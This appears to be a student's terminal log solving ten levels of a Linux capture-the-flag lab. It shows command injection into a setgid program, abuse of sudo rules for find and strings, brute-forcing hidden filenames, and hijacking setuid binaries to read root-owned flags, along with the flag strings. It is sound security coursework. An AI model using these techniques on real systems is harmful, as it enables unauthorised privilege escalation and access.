

```
[level1 level10 level2 level3 level4 level5 level6 level7 level8 level9
$ cd level1
[$ ls
[level1.txt
$ cat level1.txt
[cat: level1.txt: Permission denied
$ ls -la
[total 12
dr-xr-x---  2 hang.h hang.h 4096 Mar 10 01:13 .
drwxr-xr-x 13 hang.h hang.h 4096 Mar 13 16:04 ..
-----  1 hang.h hang.h   53 Mar 10 01:13 level1.txt
$ chmod u+r level1.txt
[$ cat level1.txt
[CY2550_FLAG_LEVEL1{131naquqb91009rdufiz41o30i995ldb}
```

```
[$ ls
cool_program  message
[$ ls -la
total 28
dr-xr-x---  2 hang.h hang.h      4096 Mar 10 01:13 .
drwxr-xr-x 13 hang.h hang.h      4096 Mar 13 16:04 ..
---x--s--x  1    1257 root_hang.h 15808 Mar 10 01:13 cool_program
-r--r----- 1    1257 root_hang.h   53 Mar 10 01:13 message
[$ ./cool_program
Please specify your name for a special message
[$ ./cool_program hang.h
Here is your special message hang.h:

Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry.

/bin/bash: line 1: hang.h: command not found
[$ ./cool_program "cat message"
Here is your special message cat message:
```

Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry.

CY2550_FLAG_LEVEL2{r32q61l8rlb3qsxthy1b56aibjk66jv2}

```
[$ cd ~/level3
[$ ls -la
total 12
dr-xr-x---  2 hang.h hang.h 4096 Mar 10 01:13 .
drwxr-xr-x 13 hang.h hang.h 4096 Mar 13 16:04 ..
-r--r----- 1 hang.h hang.h   77 Mar 10 01:13 hiddenmessage
[$ cat hiddenmessage
UEwyNTUwX1NZTlRfWVJJUlkze3BxYWdnNjVlNGVtbnIwMzc5a2p5NGNpOXN3N3FnMWd1fQoKCg==
[$ cat hiddenmessage | base64 --decode
PL2550_SYNT_YRIRY3{pqagg65e4emnr0379k jy4ci9sw7qg1gu}

[$ cat hiddenmessage | base64 --decode | tr 'A-Za-z' 'N-ZA-Mn-za-m'
CY2550_FLAG_LEVEL3{cdntt65r4rzae0379xw14pv9fj7dt1th}
```



```
[ $ ls -la
total 128
dr-xr-x---  2 hang.h hang.h  4096 Mar 10 01:13 .
drwxr-xr-x 13 hang.h hang.h  4096 Mar 13 16:04 ..
-r--r-----  1 hang.h hang.h 122155 Mar 10 01:13 cool.jpg
[ $ exiftool cool.jpg
ExifTool Version Number      : 12.76
File Name                    : cool.jpg
Directory                    : .
File Size                    : 122 kB
File Modification Date/Time   : 2026:03:10 01:13:40+00:00
File Access Date/Time        : 2026:03:11 19:19:35+00:00
File Inode Change Date/Time   : 2026:03:10 01:14:07+00:00
File Permissions              : -r--r-----
File Type                    : JPEG
File Type Extension          : jpg
MIME Type                    : image/jpeg
Exif Byte Order               : Big-endian (Motorola, MM)
Image Description             : CY2550_FLAG_LEVEL4{agap7fca12uyfrz11zgsta6922u00bw8}.
Image Width                   : 1180
Image Height                  : 663
Encoding Process              : Progressive DCT, Huffman coding
Bits Per Sample               : 8
Color Components              : 3
Y Cb Cr Sub Sampling          : YCbCr4:4:4 (1 1)
Image Size                   : 1180x663
Megapixels                    : 0.782
```



```
total 56
drwxrwx---  2 hang.h hang.h  4096 Mar 10 01:13 .
drwxr-xr-x 13 hang.h hang.h  4096 Mar 13 16:04 ..
-r--r----- 1 hang.h hang.h 45825 Mar 10 01:13 interesting.jpeg
```

```
[$ exiftool interesting.jpeg
ExifTool Version Number      : 12.76
File Name                    : interesting.jpeg
Directory                    : .
File Size                    : 46 kB
File Modification Date/Time   : 2026:03:10 01:13:40+00:00
File Access Date/Time        : 2026:03:11 19:19:35+00:00
File Inode Change Date/Time   : 2026:03:10 01:13:40+00:00
File Permissions              : -r--r-----
File Type                    : JPEG
File Type Extension          : jpg
MIME Type                    : image/jpeg
Exif Byte Order               : Big-endian (Motorola, MM)
Orientation                  : Horizontal (normal)
Image Width                  : 640
Image Height                 : 640
Encoding Process              : Baseline DCT, Huffman coding
Bits Per Sample              : 8
Color Components              : 3
Y Cb Cr Sub Sampling         : YCbCr4:2:0 (2 2)
Image Size                   : 640x640
Megapixels                   : 0.410
```

```
[$ binwalk interesting.jpeg
```

DECIMAL	HEXADECIMAL	DESCRIPTION

0	0x0	JPEG image data, EXIF standard
12	0xC	TIFF image data, big-endian, offset of first image directory: 8
45590	0xB216	Zip archive data, at least v1.0 to extract, compressed size: 53, uncompressed size: 53, name: ohwhatisthis.txt
45803	0xB2EB	End of Zip archive, footer length: 22

```
[$ unzip interesting.jpeg
Archive:  interesting.jpeg
warning [interesting.jpeg]: 45590 extra bytes at beginning or within zipfile
```



```
(attempting to process anyway)
extracting: ohwhatisthis.txt
[$ cat ohwhatisthis.txt
CY2550_FLAG_LEVEL5{iv85uji86gver4ou89rjiph4ho3py0iw}
```

```
[$ cd ~/level6
```

```
[$ ls -la
```

```
total 12
dr-xr-x---  2 hang.h hang.h 4096 Mar 10 01:13 .
drwxr-xr-x 14 hang.h hang.h 4096 Mar 13 16:34 ..
-r-----  1 root   root    53 Mar 10 01:13 flag.txt
```

```
[$ sudo -l
```

```
Matching Defaults entries for hang.h on localhost:
```

```
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
```

```
User hang.h may run the following commands on localhost:
```

```
(root) NOPASSWD: /usr/bin/strings /home/hang.h/level6/*
```

```
(root) NOPASSWD: /usr/bin/find /home/hang.h/level7/*
```

```
[$ sudo /usr/bin/strings /home/hang.h/level6/flag.txt
```

```
CY2550_FLAG_LEVEL6{91zzsv5jym2loaqzgb8w879ed1twwra1}
```

```
[ $ ls -la
total 12
dr-xr-x---  2 hang.h hang.h 4096 Mar 10 01:13 .
drwxr-xr-x 14 hang.h hang.h 4096 Mar 13 16:34 ..
-r-----  1 root  root    53 Mar 10 01:13 flag.txt
[ $ man find /ACTIONS
man: /ACTIONS: No such file or directory
No manual entry for /ACTIONS
[ $ sudo /usr/bin/find /home/hang.h/level7/ -exec cat {} \;
cat: /home/hang.h/level7/: Is a directory
CY2550_FLAG_LEVEL7{kubjbspfotas84lbt1q0ibi2pvfhddp1}
```

```
[ $ ls -la
total 16
drwxr-xr-x  3 hang.h hang.h 4096 Mar 10 01:13 .
drwxr-xr-x 14 hang.h hang.h 4096 Mar 13 17:29 ..
d--x--x--x  2 hang.h hang.h 4096 Mar 10 01:13 flag
-rwxr-xr-x  1 hang.h hang.h   13 Mar 10 01:13 script.sh
[ $ cat script.sh
#!/bin/bash

[ $ ls ~/level8/flag/
ls: cannot open directory '/home/hang.h/level8/flag/': Permission denied
[ $ for i in $(seq -w 0000 9999); do cat ~/level8/flag/${i}*.txt 2>/dev/null && break; done
^C
[ $ for i in $(seq -w 0000 9999); do cat ~/level8/flag/${i}.txt 2>/dev/null && break; done
CY2550_FLAG_LEVEL8{6mgw35h63pxrpxbdzcp0j8iepg4ar76b}
```



```
[$ ls -la
total 32
drwxr-xr-x  2 hang.h hang.h  4096 Mar 10 01:13 .
drwxr-xr-x 14 hang.h hang.h  4096 Mar 13 17:29 ..
-rwsr-xr-x  1 root    root   16048 Mar 10 01:13 editor
-r-----  1 root    root     53 Mar 10 01:13 flag.txt
-rw-r--r--  1 hang.h hang.h   28 Mar 10 01:13 README.txt
[$ cat README.txt
Welcome to the text editor.
[$ ./editor
```


File to insert [from ./]: /home/hang.h/level9/flag.txt

^G Help

^C Cancel

M-F New Buffer

M-N No Conversion

^X Execute Command

^T Browse

odu7xzj1kbwp98ikxkes305cdf}

^G Help **^O** Write Out **^W** Where Is **^K** Cut **[Read 1 line]** **^C** Location **M-U** Undo **M-A** Set Mark
^X Exit **^R** Read File **^** Replace **^U** Paste **^T** Execute **^/** Go To Line **M-E** Redo **M-6** Copy
^J Justify

```
[ $ ls -l
total 24
-r----- 1 root root 54 Mar 10 01:13 flag.txt
-rwxr-xr-x 1 hang.h hang.h 20 Mar 10 01:13 hello.sh
-rwsr-xr-x 1 root root 16056 Mar 10 01:13 run_hello
[ $ ls -la
total 32
drwxr-xr-x 2 hang.h hang.h 4096 Mar 10 01:13 .
drwxr-xr-x 14 hang.h hang.h 4096 Mar 13 17:29 ..
-r----- 1 root root 54 Mar 10 01:13 flag.txt
-rwxr-xr-x 1 hang.h hang.h 20 Mar 10 01:13 hello.sh
-rwsr-xr-x 1 root root 16056 Mar 10 01:13 run_hello
[ $ cat flag.txt
cat: flag.txt: Permission denied
[ $ cat hello.sh
[ echo 'Hello, World!' $ ./run_hello
Hello, World!
[ $ echo 'cat /home/hang.h/level10/flag.txt' > hello.sh
[ $ ./run_hello
CY2550_FLAG_LEVEL10{hafpzrm8tp3l820vak1z4j6ganju7ecp}
```